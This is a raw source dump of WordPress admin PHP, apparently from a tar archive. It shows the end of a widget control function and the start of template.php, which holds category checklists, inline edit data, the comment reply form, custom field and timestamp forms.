				printf( __( 'Edit widget: %s' ), $widget_title );
				?>
			</span>
			<span class="screen-reader-text add">
				<?php
				/* translators: %s: Widget title. */
				printf( __( 'Add widget: %s' ), $widget_title );
				?>
			</span>
			<span class="toggle-indicator" aria-hidden="true"></span>
		</button>
		<a class="widget-control-edit hide-if-js" href="<?php echo esc_url( add_query_arg( $query_arg ) ); ?>">
			<span class="edit"><?php _ex( 'Edit', 'widget' ); ?></span>
			<span class="add"><?php _ex( 'Add', 'widget' ); ?></span>
			<span class="screen-reader-text"><?php echo $widget_title; ?></span>
		</a>
	</div>
	<div class="widget-title"><h3><?php echo $widget_title; ?><span class="in-widget-title"></span></h3></div>
	</div>

<div class="widget-inside">
	<?php echo $before_form; ?>
	<?php echo $before_widget_content; ?>
	<?php
	if ( isset( $control['callback'] ) ) {
		$has_form = call_user_func_array( $control['callback'], $control['params'] );
	} else {
		echo "\t\t<p>" . __( 'There are no options for this widget.' ) . "</p>\n";
	}

$noform_class = '';
	if ( 'noform' === $has_form ) {
		$noform_class = ' widget-control-noform';
	}
	?>
	<?php echo $after_widget_content; ?>
	<input type="hidden" name="widget-id" class="widget-id" value="<?php echo esc_attr( $id_format ); ?>" />
	<input type="hidden" name="id_base" class="id_base" value="<?php echo esc_attr( $id_base ); ?>" />
	<input type="hidden" name="widget-width" class="widget-width" value="<?php echo esc_attr( $width ); ?>" />
	<input type="hidden" name="widget-height" class="widget-height" value="<?php echo esc_attr( $height ); ?>" />
	<input type="hidden" name="widget_number" class="widget_number" value="<?php echo esc_attr( $widget_number ); ?>" />
	<input type="hidden" name="multi_number" class="multi_number" value="<?php echo esc_attr( $multi_number ); ?>" />
	<input type="hidden" name="add_new" class="add_new" value="<?php echo esc_attr( $add_new ); ?>" />

<div class="widget-control-actions">
		<div class="alignleft">
			<button type="button" class="button-link button-link-delete widget-control-remove"><?php _e( 'Delete' ); ?></button>
			<span class="widget-control-close-wrapper">
				|
				<button type="button" class="button-link widget-control-close"><?php _e( 'Done' ); ?></button>
			</span>
		</div>
		<div class="alignright<?php echo $noform_class; ?>">
			<?php submit_button( __( 'Save' ), 'primary widget-control-save right', 'savewidget', false, array( 'id' => 'widget-' . esc_attr( $id_format ) . '-savewidget' ) ); ?>
			<span class="spinner"></span>
		</div>
		<br class="clear" />
	</div>
	<?php echo $after_form; ?>
	</div>

<div class="widget-description">
	<?php
	$widget_description = wp_widget_description( $widget_id );
	echo ( $widget_description ) ? "$widget_description\n" : "$widget_title\n";
	?>
	</div>
	<?php
	echo $sidebar_args['after_widget'];

return $sidebar_args;
}

/**
 * @param string $classes
 * @return string
 */
function wp_widgets_access_body_class( $classes ) {
	return "$classes widgets_access ";
}
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������template.php����������������������������������������������������������������������������������������0000604�����������������00000263464�15075125355�0007113 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Template WordPress Administration API.
 *
 * A Big Mess. Also some neat functions that are nicely written.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Walker_Category_Checklist class */
require_once ABSPATH . 'wp-admin/includes/class-walker-category-checklist.php';

/** WP_Internal_Pointers class */
require_once ABSPATH . 'wp-admin/includes/class-wp-internal-pointers.php';

//
// Category Checklists.
//

/**
 * Output an unordered list of checkbox input elements labeled with category names.
 *
 * @since 2.5.1
 *
 * @see wp_terms_checklist()
 *
 * @param int    $post_id              Optional. Post to generate a categories checklist for. Default 0.
 *                                     $selected_cats must not be an array. Default 0.
 * @param int    $descendants_and_self Optional. ID of the category to output along with its descendants.
 *                                     Default 0.
 * @param int[]  $selected_cats        Optional. Array of category IDs to mark as checked. Default false.
 * @param int[]  $popular_cats         Optional. Array of category IDs to receive the "popular-category" class.
 *                                     Default false.
 * @param Walker $walker               Optional. Walker object to use to build the output.
 *                                     Default is a Walker_Category_Checklist instance.
 * @param bool   $checked_ontop        Optional. Whether to move checked items out of the hierarchy and to
 *                                     the top of the list. Default true.
 */
function wp_category_checklist( $post_id = 0, $descendants_and_self = 0, $selected_cats = false, $popular_cats = false, $walker = null, $checked_ontop = true ) {
	wp_terms_checklist(
		$post_id,
		array(
			'taxonomy'             => 'category',
			'descendants_and_self' => $descendants_and_self,
			'selected_cats'        => $selected_cats,
			'popular_cats'         => $popular_cats,
			'walker'               => $walker,
			'checked_ontop'        => $checked_ontop,
		)
	);
}

/**
 * Output an unordered list of checkbox input elements labelled with term names.
 *
 * Taxonomy-independent version of wp_category_checklist().
 *
 * @since 3.0.0
 * @since 4.4.0 Introduced the `$echo` argument.
 *
 * @param int          $post_id Optional. Post ID. Default 0.
 * @param array|string $args {
 *     Optional. Array or string of arguments for generating a terms checklist. Default empty array.
 *
 *     @type int    $descendants_and_self ID of the category to output along with its descendants.
 *                                        Default 0.
 *     @type int[]  $selected_cats        Array of category IDs to mark as checked. Default false.
 *     @type int[]  $popular_cats         Array of category IDs to receive the "popular-category" class.
 *                                        Default false.
 *     @type Walker $walker               Walker object to use to build the output.
 *                                        Default is a Walker_Category_Checklist instance.
 *     @type string $taxonomy             Taxonomy to generate the checklist for. Default 'category'.
 *     @type bool   $checked_ontop        Whether to move checked items out of the hierarchy and to
 *                                        the top of the list. Default true.
 *     @type bool   $echo                 Whether to echo the generated markup. False to return the markup instead
 *                                        of echoing it. Default true.
 * }
 * @return string HTML list of input elements.
 */
function wp_terms_checklist( $post_id = 0, $args = array() ) {
	$defaults = array(
		'descendants_and_self' => 0,
		'selected_cats'        => false,
		'popular_cats'         => false,
		'walker'               => null,
		'taxonomy'             => 'category',
		'checked_ontop'        => true,
		'echo'                 => true,
	);

/**
	 * Filters the taxonomy terms checklist arguments.
	 *
	 * @since 3.4.0
	 *
	 * @see wp_terms_checklist()
	 *
	 * @param array $args    An array of arguments.
	 * @param int   $post_id The post ID.
	 */
	$params = apply_filters( 'wp_terms_checklist_args', $args, $post_id );

$parsed_args = wp_parse_args( $params, $defaults );

if ( empty( $parsed_args['walker'] ) || ! ( $parsed_args['walker'] instanceof Walker ) ) {
		$walker = new Walker_Category_Checklist;
	} else {
		$walker = $parsed_args['walker'];
	}

$taxonomy             = $parsed_args['taxonomy'];
	$descendants_and_self = (int) $parsed_args['descendants_and_self'];

$args = array( 'taxonomy' => $taxonomy );

$tax              = get_taxonomy( $taxonomy );
	$args['disabled'] = ! current_user_can( $tax->cap->assign_terms );

$args['list_only'] = ! empty( $parsed_args['list_only'] );

if ( is_array( $parsed_args['selected_cats'] ) ) {
		$args['selected_cats'] = array_map( 'intval', $parsed_args['selected_cats'] );
	} elseif ( $post_id ) {
		$args['selected_cats'] = wp_get_object_terms( $post_id, $taxonomy, array_merge( $args, array( 'fields' => 'ids' ) ) );
	} else {
		$args['selected_cats'] = array();
	}

if ( is_array( $parsed_args['popular_cats'] ) ) {
		$args['popular_cats'] = array_map( 'intval', $parsed_args['popular_cats'] );
	} else {
		$args['popular_cats'] = get_terms(
			array(
				'taxonomy'     => $taxonomy,
				'fields'       => 'ids',
				'orderby'      => 'count',
				'order'        => 'DESC',
				'number'       => 10,
				'hierarchical' => false,
			)
		);
	}

if ( $descendants_and_self ) {
		$categories = (array) get_terms(
			array(
				'taxonomy'     => $taxonomy,
				'child_of'     => $descendants_and_self,
				'hierarchical' => 0,
				'hide_empty'   => 0,
			)
		);
		$self       = get_term( $descendants_and_self, $taxonomy );
		array_unshift( $categories, $self );
	} else {
		$categories = (array) get_terms(
			array(
				'taxonomy' => $taxonomy,
				'get'      => 'all',
			)
		);
	}

$output = '';

if ( $parsed_args['checked_ontop'] ) {
		// Post-process $categories rather than adding an exclude to the get_terms() query
		// to keep the query the same across all posts (for any query cache).
		$checked_categories = array();
		$keys               = array_keys( $categories );

foreach ( $keys as $k ) {
			if ( in_array( $categories[ $k ]->term_id, $args['selected_cats'], true ) ) {
				$checked_categories[] = $categories[ $k ];
				unset( $categories[ $k ] );
			}
		}

// Put checked categories on top.
		$output .= $walker->walk( $checked_categories, 0, $args );
	}
	// Then the rest of them.
	$output .= $walker->walk( $categories, 0, $args );

if ( $parsed_args['echo'] ) {
		echo $output;
	}

return $output;
}

/**
 * Retrieve a list of the most popular terms from the specified taxonomy.
 *
 * If the $echo argument is true then the elements for a list of checkbox
 * `<input>` elements labelled with the names of the selected terms is output.
 * If the $post_ID global isn't empty then the terms associated with that
 * post will be marked as checked.
 *
 * @since 2.5.0
 *
 * @param string $taxonomy Taxonomy to retrieve terms from.
 * @param int    $default  Not used.
 * @param int    $number   Number of terms to retrieve. Defaults to 10.
 * @param bool   $echo     Optionally output the list as well. Defaults to true.
 * @return int[] Array of popular term IDs.
 */
function wp_popular_terms_checklist( $taxonomy, $default = 0, $number = 10, $echo = true ) {
	$post = get_post();

if ( $post && $post->ID ) {
		$checked_terms = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
	} else {
		$checked_terms = array();
	}

$terms = get_terms(
		array(
			'taxonomy'     => $taxonomy,
			'orderby'      => 'count',
			'order'        => 'DESC',
			'number'       => $number,
			'hierarchical' => false,
		)
	);

$tax = get_taxonomy( $taxonomy );

$popular_ids = array();

foreach ( (array) $terms as $term ) {
		$popular_ids[] = $term->term_id;
		if ( ! $echo ) { // Hack for Ajax use.
			continue;
		}
		$id      = "popular-$taxonomy-$term->term_id";
		$checked = in_array( $term->term_id, $checked_terms, true ) ? 'checked="checked"' : '';
		?>

<li id="<?php echo $id; ?>" class="popular-category">
			<label class="selectit">
				<input id="in-<?php echo $id; ?>" type="checkbox" <?php echo $checked; ?> value="<?php echo (int) $term->term_id; ?>" <?php disabled( ! current_user_can( $tax->cap->assign_terms ) ); ?> />
				<?php
				/** This filter is documented in wp-includes/category-template.php */
				echo esc_html( apply_filters( 'the_category', $term->name, '', '' ) );
				?>
			</label>
		</li>

<?php
	}
	return $popular_ids;
}

/**
 * Outputs a link category checklist element.
 *
 * @since 2.5.1
 *
 * @param int $link_id
 */
function wp_link_category_checklist( $link_id = 0 ) {
	$default = 1;

$checked_categories = array();

if ( $link_id ) {
		$checked_categories = wp_get_link_cats( $link_id );
		// No selected categories, strange.
		if ( ! count( $checked_categories ) ) {
			$checked_categories[] = $default;
		}
	} else {
		$checked_categories[] = $default;
	}

$categories = get_terms(
		array(
			'taxonomy'   => 'link_category',
			'orderby'    => 'name',
			'hide_empty' => 0,
		)
	);

if ( empty( $categories ) ) {
		return;
	}

foreach ( $categories as $category ) {
		$cat_id = $category->term_id;

/** This filter is documented in wp-includes/category-template.php */
		$name    = esc_html( apply_filters( 'the_category', $category->name, '', '' ) );
		$checked = in_array( $cat_id, $checked_categories, true ) ? ' checked="checked"' : '';
		echo '<li id="link-category-', $cat_id, '"><label for="in-link-category-', $cat_id, '" class="selectit"><input value="', $cat_id, '" type="checkbox" name="link_category[]" id="in-link-category-', $cat_id, '"', $checked, '/> ', $name, '</label></li>';
	}
}

/**
 * Adds hidden fields with the data for use in the inline editor for posts and pages.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post Post object.
 */
function get_inline_data( $post ) {
	$post_type_object = get_post_type_object( $post->post_type );
	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
		return;
	}

$title = esc_textarea( trim( $post->post_title ) );

echo '
<div class="hidden" id="inline_' . $post->ID . '">
	<div class="post_title">' . $title . '</div>' .
	/** This filter is documented in wp-admin/edit-tag-form.php */
	'<div class="post_name">' . apply_filters( 'editable_slug', $post->post_name, $post ) . '</div>
	<div class="post_author">' . $post->post_author . '</div>
	<div class="comment_status">' . esc_html( $post->comment_status ) . '</div>
	<div class="ping_status">' . esc_html( $post->ping_status ) . '</div>
	<div class="_status">' . esc_html( $post->post_status ) . '</div>
	<div class="jj">' . mysql2date( 'd', $post->post_date, false ) . '</div>
	<div class="mm">' . mysql2date( 'm', $post->post_date, false ) . '</div>
	<div class="aa">' . mysql2date( 'Y', $post->post_date, false ) . '</div>
	<div class="hh">' . mysql2date( 'H', $post->post_date, false ) . '</div>
	<div class="mn">' . mysql2date( 'i', $post->post_date, false ) . '</div>
	<div class="ss">' . mysql2date( 's', $post->post_date, false ) . '</div>
	<div class="post_password">' . esc_html( $post->post_password ) . '</div>';

if ( $post_type_object->hierarchical ) {
		echo '<div class="post_parent">' . $post->post_parent . '</div>';
	}

echo '<div class="page_template">' . ( $post->page_template ? esc_html( $post->page_template ) : 'default' ) . '</div>';

if ( post_type_supports( $post->post_type, 'page-attributes' ) ) {
		echo '<div class="menu_order">' . $post->menu_order . '</div>';
	}

$taxonomy_names = get_object_taxonomies( $post->post_type );

foreach ( $taxonomy_names as $taxonomy_name ) {
		$taxonomy = get_taxonomy( $taxonomy_name );

if ( $taxonomy->hierarchical && $taxonomy->show_ui ) {

$terms = get_object_term_cache( $post->ID, $taxonomy_name );
			if ( false === $terms ) {
				$terms = wp_get_object_terms( $post->ID, $taxonomy_name );
				wp_cache_add( $post->ID, wp_list_pluck( $terms, 'term_id' ), $taxonomy_name . '_relationships' );
			}
			$term_ids = empty( $terms ) ? array() : wp_list_pluck( $terms, 'term_id' );

echo '<div class="post_category" id="' . $taxonomy_name . '_' . $post->ID . '">' . implode( ',', $term_ids ) . '</div>';

} elseif ( $taxonomy->show_ui ) {

$terms_to_edit = get_terms_to_edit( $post->ID, $taxonomy_name );
			if ( ! is_string( $terms_to_edit ) ) {
				$terms_to_edit = '';
			}

echo '<div class="tags_input" id="' . $taxonomy_name . '_' . $post->ID . '">'
				. esc_html( str_replace( ',', ', ', $terms_to_edit ) ) . '</div>';

}
	}

if ( ! $post_type_object->hierarchical ) {
		echo '<div class="sticky">' . ( is_sticky( $post->ID ) ? 'sticky' : '' ) . '</div>';
	}

if ( post_type_supports( $post->post_type, 'post-formats' ) ) {
		echo '<div class="post_format">' . esc_html( get_post_format( $post->ID ) ) . '</div>';
	}

/**
	 * Fires after outputting the fields for the inline editor for posts and pages.
	 *
	 * @since 4.9.8
	 *
	 * @param WP_Post      $post             The current post object.
	 * @param WP_Post_Type $post_type_object The current post's post type object.
	 */
	do_action( 'add_inline_data', $post, $post_type_object );

echo '</div>';
}

/**
 * Outputs the in-line comment reply-to form in the Comments list table.
 *
 * @since 2.7.0
 *
 * @global WP_List_Table $wp_list_table
 *
 * @param int    $position
 * @param bool   $checkbox
 * @param string $mode
 * @param bool   $table_row
 */
function wp_comment_reply( $position = 1, $checkbox = false, $mode = 'single', $table_row = true ) {
	global $wp_list_table;
	/**
	 * Filters the in-line comment reply-to form output in the Comments
	 * list table.
	 *
	 * Returning a non-empty value here will short-circuit display
	 * of the in-line comment-reply form in the Comments list table,
	 * echoing the returned value instead.
	 *
	 * @since 2.7.0
	 *
	 * @see wp_comment_reply()
	 *
	 * @param string $content The reply-to form content.
	 * @param array  $args    An array of default args.
	 */
	$content = apply_filters(
		'wp_comment_reply',
		'',
		array(
			'position' => $position,
			'checkbox' => $checkbox,
			'mode'     => $mode,
		)
	);

if ( ! empty( $content ) ) {
		echo $content;
		return;
	}

if ( ! $wp_list_table ) {
		if ( 'single' === $mode ) {
			$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table' );
		} else {
			$wp_list_table = _get_list_table( 'WP_Comments_List_Table' );
		}
	}

?>
<form method="get">
	<?php if ( $table_row ) : ?>
<table style="display:none;"><tbody id="com-reply"><tr id="replyrow" class="inline-edit-row" style="display:none;"><td colspan="<?php echo $wp_list_table->get_column_count(); ?>" class="colspanchange">
<?php else : ?>
<div id="com-reply" style="display:none;"><div id="replyrow" style="display:none;">
<?php endif; ?>
	<fieldset class="comment-reply">
	<legend>
		<span class="hidden" id="editlegend"><?php _e( 'Edit Comment' ); ?></span>
		<span class="hidden" id="replyhead"><?php _e( 'Reply to Comment' ); ?></span>
		<span class="hidden" id="addhead"><?php _e( 'Add new Comment' ); ?></span>
	</legend>

<div id="replycontainer">
	<label for="replycontent" class="screen-reader-text"><?php _e( 'Comment' ); ?></label>
	<?php
	$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
	wp_editor(
		'',
		'replycontent',
		array(
			'media_buttons' => false,
			'tinymce'       => false,
			'quicktags'     => $quicktags_settings,
		)
	);
	?>
	</div>

<input type="hidden" name="action" id="action" value="" />
	<input type="hidden" name="comment_ID" id="comment_ID" value="" />
	<input type="hidden" name="comment_post_ID" id="comment_post_ID" value="" />
	<input type="hidden" name="status" id="status" value="" />
	<input type="hidden" name="position" id="position" value="<?php echo $position; ?>" />
	<input type="hidden" name="checkbox" id="checkbox" value="<?php echo $checkbox ? 1 : 0; ?>" />
	<input type="hidden" name="mode" id="mode" value="<?php echo esc_attr( $mode ); ?>" />
	<?php
		wp_nonce_field( 'replyto-comment', '_ajax_nonce-replyto-comment', false );
	if ( current_user_can( 'unfiltered_html' ) ) {
		wp_nonce_field( 'unfiltered-html-comment', '_wp_unfiltered_html_comment', false );
	}
	?>
	</fieldset>
	<?php if ( $table_row ) : ?>
</td></tr></tbody></table>
	<?php else : ?>
</div></div>
	<?php endif; ?>
</form>
	<?php
}

/**
 * Output 'undo move to Trash' text for comments
 *
 * @since 2.9.0
 */
function wp_comment_trashnotice() {
	?>
<div class="hidden" id="trash-undo-holder">
	<div class="trash-undo-inside">
		<?php
		/* translators: %s: Comment author, filled by Ajax. */
		printf( __( 'Comment by %s moved to the Trash.' ), '<strong></strong>' );
		?>
		<span class="undo untrash"><a href="#"><?php _e( 'Undo' ); ?></a></span>
	</div>
</div>
<div class="hidden" id="spam-undo-holder">
	<div class="spam-undo-inside">
		<?php
		/* translators: %s: Comment author, filled by Ajax. */
		printf( __( 'Comment by %s marked as spam.' ), '<strong></strong>' );
		?>
		<span class="undo unspam"><a href="#"><?php _e( 'Undo' ); ?></a></span>
	</div>
</div>
	<?php
}

/**
 * Outputs a post's public meta data in the Custom Fields meta box.
 *
 * @since 1.2.0
 *
 * @param array $meta
 */
function list_meta( $meta ) {
	// Exit if no meta.
	if ( ! $meta ) {
		echo '
<table id="list-table" style="display: none;">
	<thead>
	<tr>
		<th class="left">' . _x( 'Name', 'meta name' ) . '</th>
		<th>' . __( 'Value' ) . '</th>
	</tr>
	</thead>
	<tbody id="the-list" data-wp-lists="list:meta">
	<tr><td></td></tr>
	</tbody>
</table>'; // TBODY needed for list-manipulation JS.
		return;
	}
	$count = 0;
	?>
<table id="list-table">
	<thead>
	<tr>
		<th class="left"><?php _ex( 'Name', 'meta name' ); ?></th>
		<th><?php _e( 'Value' ); ?></th>
	</tr>
	</thead>
	<tbody id='the-list' data-wp-lists='list:meta'>
	<?php
	foreach ( $meta as $entry ) {
		echo _list_meta_row( $entry, $count );
	}
	?>
	</tbody>
</table>
	<?php
}

/**
 * Outputs a single row of public meta data in the Custom Fields meta box.
 *
 * @since 2.5.0
 *
 * @param array $entry
 * @param int   $count
 * @return string
 */
function _list_meta_row( $entry, &$count ) {
	static $update_nonce = '';

if ( is_protected_meta( $entry['meta_key'], 'post' ) ) {
		return '';
	}

if ( ! $update_nonce ) {
		$update_nonce = wp_create_nonce( 'add-meta' );
	}

$r = '';
	++ $count;

if ( is_serialized( $entry['meta_value'] ) ) {
		if ( is_serialized_string( $entry['meta_value'] ) ) {
			// This is a serialized string, so we should display it.
			$entry['meta_value'] = maybe_unserialize( $entry['meta_value'] );
		} else {
			// This is a serialized array/object so we should NOT display it.
			--$count;
			return '';
		}
	}

$entry['meta_key']   = esc_attr( $entry['meta_key'] );
	$entry['meta_value'] = esc_textarea( $entry['meta_value'] ); // Using a <textarea />.
	$entry['meta_id']    = (int) $entry['meta_id'];

$delete_nonce = wp_create_nonce( 'delete-meta_' . $entry['meta_id'] );

$r .= "\n\t<tr id='meta-{$entry['meta_id']}'>";
	$r .= "\n\t\t<td class='left'><label class='screen-reader-text' for='meta-{$entry['meta_id']}-key'>" . __( 'Key' ) . "</label><input name='meta[{$entry['meta_id']}][key]' id='meta-{$entry['meta_id']}-key' type='text' size='20' value='{$entry['meta_key']}' />";

$r .= "\n\t\t<div class='submit'>";
	$r .= get_submit_button( __( 'Delete' ), 'deletemeta small', "deletemeta[{$entry['meta_id']}]", false, array( 'data-wp-lists' => "delete:the-list:meta-{$entry['meta_id']}::_ajax_nonce=$delete_nonce" ) );
	$r .= "\n\t\t";
	$r .= get_submit_button( __( 'Update' ), 'updatemeta small', "meta-{$entry['meta_id']}-submit", false, array( 'data-wp-lists' => "add:the-list:meta-{$entry['meta_id']}::_ajax_nonce-add-meta=$update_nonce" ) );
	$r .= '</div>';
	$r .= wp_nonce_field( 'change-meta', '_ajax_nonce', false, false );
	$r .= '</td>';

$r .= "\n\t\t<td><label class='screen-reader-text' for='meta-{$entry['meta_id']}-value'>" . __( 'Value' ) . "</label><textarea name='meta[{$entry['meta_id']}][value]' id='meta-{$entry['meta_id']}-value' rows='2' cols='30'>{$entry['meta_value']}</textarea></td>\n\t</tr>";
	return $r;
}

/**
 * Prints the form in the Custom Fields meta box.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param WP_Post $post Optional. The post being edited.
 */
function meta_form( $post = null ) {
	global $wpdb;
	$post = get_post( $post );

/**
	 * Filters values for the meta key dropdown in the Custom Fields meta box.
	 *
	 * Returning a non-null value will effectively short-circuit and avoid a
	 * potentially expensive query against postmeta.
	 *
	 * @since 4.4.0
	 *
	 * @param array|null $keys Pre-defined meta keys to be used in place of a postmeta query. Default null.
	 * @param WP_Post    $post The current post object.
	 */
	$keys = apply_filters( 'postmeta_form_keys', null, $post );

if ( null === $keys ) {
		/**
		 * Filters the number of custom fields to retrieve for the drop-down
		 * in the Custom Fields meta box.
		 *
		 * @since 2.1.0
		 *
		 * @param int $limit Number of custom fields to retrieve. Default 30.
		 */
		$limit = apply_filters( 'postmeta_form_limit', 30 );

$keys = $wpdb->get_col(
			$wpdb->prepare(
				"SELECT DISTINCT meta_key
				FROM $wpdb->postmeta
				WHERE meta_key NOT BETWEEN '_' AND '_z'
				HAVING meta_key NOT LIKE %s
				ORDER BY meta_key
				LIMIT %d",
				$wpdb->esc_like( '_' ) . '%',
				$limit
			)
		);
	}

if ( $keys ) {
		natcasesort( $keys );
		$meta_key_input_id = 'metakeyselect';
	} else {
		$meta_key_input_id = 'metakeyinput';
	}
	?>
<p><strong><?php _e( 'Add New Custom Field:' ); ?></strong></p>
<table id="newmeta">
<thead>
<tr>
<th class="left"><label for="<?php echo $meta_key_input_id; ?>"><?php _ex( 'Name', 'meta name' ); ?></label></th>
<th><label for="metavalue"><?php _e( 'Value' ); ?></label></th>
</tr>
</thead>

<tbody>
<tr>
<td id="newmetaleft" class="left">
	<?php if ( $keys ) { ?>
<select id="metakeyselect" name="metakeyselect">
<option value="#NONE#"><?php _e( '&mdash; Select &mdash;' ); ?></option>
		<?php
		foreach ( $keys as $key ) {
			if ( is_protected_meta( $key, 'post' ) || ! current_user_can( 'add_post_meta', $post->ID, $key ) ) {
				continue;
			}
			echo "\n<option value='" . esc_attr( $key ) . "'>" . esc_html( $key ) . '</option>';
		}
		?>
</select>
<input class="hide-if-js" type="text" id="metakeyinput" name="metakeyinput" value="" />
<a href="#postcustomstuff" class="hide-if-no-js" onclick="jQuery('#metakeyinput, #metakeyselect, #enternew, #cancelnew').toggle();return false;">
<span id="enternew"><?php _e( 'Enter new' ); ?></span>
<span id="cancelnew" class="hidden"><?php _e( 'Cancel' ); ?></span></a>
<?php } else { ?>
<input type="text" id="metakeyinput" name="metakeyinput" value="" />
<?php } ?>
</td>
<td><textarea id="metavalue" name="metavalue" rows="2" cols="25"></textarea></td>
</tr>

<tr><td colspan="2">
<div class="submit">
	<?php
	submit_button(
		__( 'Add Custom Field' ),
		'',
		'addmeta',
		false,
		array(
			'id'            => 'newmeta-submit',
			'data-wp-lists' => 'add:the-list:newmeta',
		)
	);
	?>
</div>
	<?php wp_nonce_field( 'add-meta', '_ajax_nonce-add-meta', false ); ?>
</td></tr>
</tbody>
</table>
	<?php

}

/**
 * Print out HTML form date elements for editing post or comment publish date.
 *
 * @since 0.71
 * @since 4.4.0 Converted to use get_comment() instead of the global `$comment`.
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @param int|bool $edit      Accepts 1|true for editing the date, 0|false for adding the date.
 * @param int|bool $for_post  Accepts 1|true for applying the date to a post, 0|false for a comment.
 * @param int      $tab_index The tabindex attribute to add. Default 0.
 * @param int|bool $multi     Optional. Whether the additional fields and buttons should be added.
 *                            Default 0|false.
 */
function touch_time( $edit = 1, $for_post = 1, $tab_index = 0, $multi = 0 ) {
	global $wp_locale;
	$post = get_post();

if ( $for_post ) {
		$edit = ! ( in_array( $post->post_status, array( 'draft', 'pending' ), true ) && ( ! $post->post_date_gmt || '0000-00-00 00:00:00' === $post->post_date_gmt ) );
	}

$tab_index_attribute = '';
	if ( (int) $tab_index > 0 ) {
		$tab_index_attribute = " tabindex=\"$tab_index\"";
	}

// @todo Remove this?
	// echo '<label for="timestamp" style="display: block;"><input type="checkbox" class="checkbox" name="edit_date" value="1" id="timestamp"'.$tab_index_attribute.' /> '.__( 'Edit timestamp' ).'</label><br />';

$post_date = ( $for_post ) ? $post->post_date : get_comment()->comment_date;
	$jj        = ( $edit ) ? mysql2date( 'd', $post_date, false ) : current_time( 'd' );
	$mm        = ( $edit ) ? mysql2date( 'm', $post_date, false ) : current_time( 'm' );
	$aa        = ( $edit ) ? mysql2date( 'Y', $post_date, false ) : current_time( 'Y' );
	$hh        = ( $edit ) ? mysql2date( 'H', $post_date, false ) : current_time( 'H' );
	$mn        = ( $edit ) ? mysql2date( 'i', $post_date, false ) : current_time( 'i' );
	$ss        = ( $edit ) ? mysql2date( 's', $post_date, false ) : current_time( 's' );

$cur_jj = current_time( 'd' );
	$cur_mm = current_time( 'm' );
	$cur_aa = current_time( 'Y' );
	$cur_hh = current_time( 'H' );
	$cur_mn = current_time( 'i' );

$month = '<label><span class="screen-reader-text">' . __( 'Month' ) . '</span><select ' . ( $multi ? '' : 'id="mm" ' ) . 'name="mm"' . $tab_index_attribute . ">\n";
	for ( $i = 1; $i < 13; $i = $i + 1 ) {
		$monthnum  = zeroise( $i, 2 );
		$monthtext = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );
		$month    .= "\t\t\t" . '<option value="' . $monthnum . '" data-text="' . $monthtext . '" ' . selected( $monthnum, $mm, false ) . '>';
		/* translators: 1: Month number (01, 02, etc.), 2: Month abbreviation. */
		$month .= sprintf( __( '%1$s-%2$s' ), $monthnum, $monthtext ) . "</option>\n";
	}
	$month .= '</select></label>';

$day    = '<label><span class="screen-reader-text">' . __( 'Day' ) . '</span><input type="text" ' . ( $multi ? '' : 'id="jj" ' ) . 'name="jj" value="' . $jj . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" /></label>';
	$year   = '<label><span class="screen-reader-text">' . __( 'Year' ) . '</span><input type="text" ' . ( $multi ? '' : 'id="aa" ' ) . 'name="aa" value="' . $aa . '" size="4" maxlength="4"' . $tab_index_attribute . ' autocomplete="off" /></label>';
	$hour   = '<label><span class="screen-reader-text">' . __( 'Hour' ) . '</span><input type="text" ' . ( $multi ? '' : 'id="hh" ' ) . 'name="hh" value="' . $hh . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" /></label>';
	$minute = '<label><span class="screen-reader-text">' . __( 'Minute' ) . '</span><input type="text" ' . ( $multi ? '' : 'id="mn" ' ) . 'name="mn" value="' . $mn . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" /></label>';

echo '<div class="timestamp-wrap">';
	/* translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute. */
	printf( __( '%1$s %2$s, %3$s at %4$s:%5$s' ), $month, $day, $year, $hour, $minute );

echo '</div><input type="hidden" id="ss" name="ss" value="' . $ss . '" />';

if ( $multi ) {
		return;
	}

echo "\n\n";

$map = array(
		'mm' => array( $mm, $cur_mm ),
		'jj' => array( $jj, $cur_jj ),
		'aa' => array( $aa, $cur_aa ),
		'hh' => array( $hh, $cur_hh ),
		'mn' => array( $mn, $cur_mn ),
	);

foreach ( $map as $timeunit => $value ) {
		list( $unit, $curr ) = $value;

echo '<input type="hidden" id="hidden_' . $timeunit . '" name="hidden_' . $timeunit . '" value="' . $unit . '" />' . "\n";
		$cur_timeunit = 'cur_' . $timeunit;
		echo '<input type="hidden" id="' . $cur_timeunit . '" name="' . $cur_timeunit . '" value="' . $curr . '" />' . "\n";
	}
	?>

<p>
<a href="#edit_timestamp" class="save-timestamp hide-if-no-js button"><?php _e( 'OK' ); ?></a>
<a href="#edit_timestamp" class="cancel-timestamp hide-if-no-js button-cancel"><?php _e( 'Cancel' ); ?></a>
</p>
	<?php
}

/**
 * Print out option HTML elements for the page templates drop-down.
 *
 * @since 1.5.0
 * @since 4.7.0 Added the `$post_type` parameter.
 *
 * @param string $default   Optional. The template file name. Default empty.
 * @param string $post_type Optional. Post type to get templates for. Default 'post'.
 */
function page_template_dropdown( $default = '', $post_type = 'page' ) {
	$templates = get_page_templates( null, $post_type );

ksort( $templates );

foreach ( array_keys( $templates ) as $template ) {
		$selected = selected( $default, $templates[ $template ], false );
		echo "\n\t<option value='" . esc_attr( $templates[ $template ] ) . "' $selected>" . esc_html( $template ) . '</option>';
	}
}

/**
 * Print out option HTML elements for the page parents drop-down.
 *
 * @since 1.5.0
 * @since 4.4.0 `$post` argument was added.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int         $default Optional. The default page ID to be pre-selected. Default 0.
 * @param int         $parent  Optional. The parent page ID. Default 0.
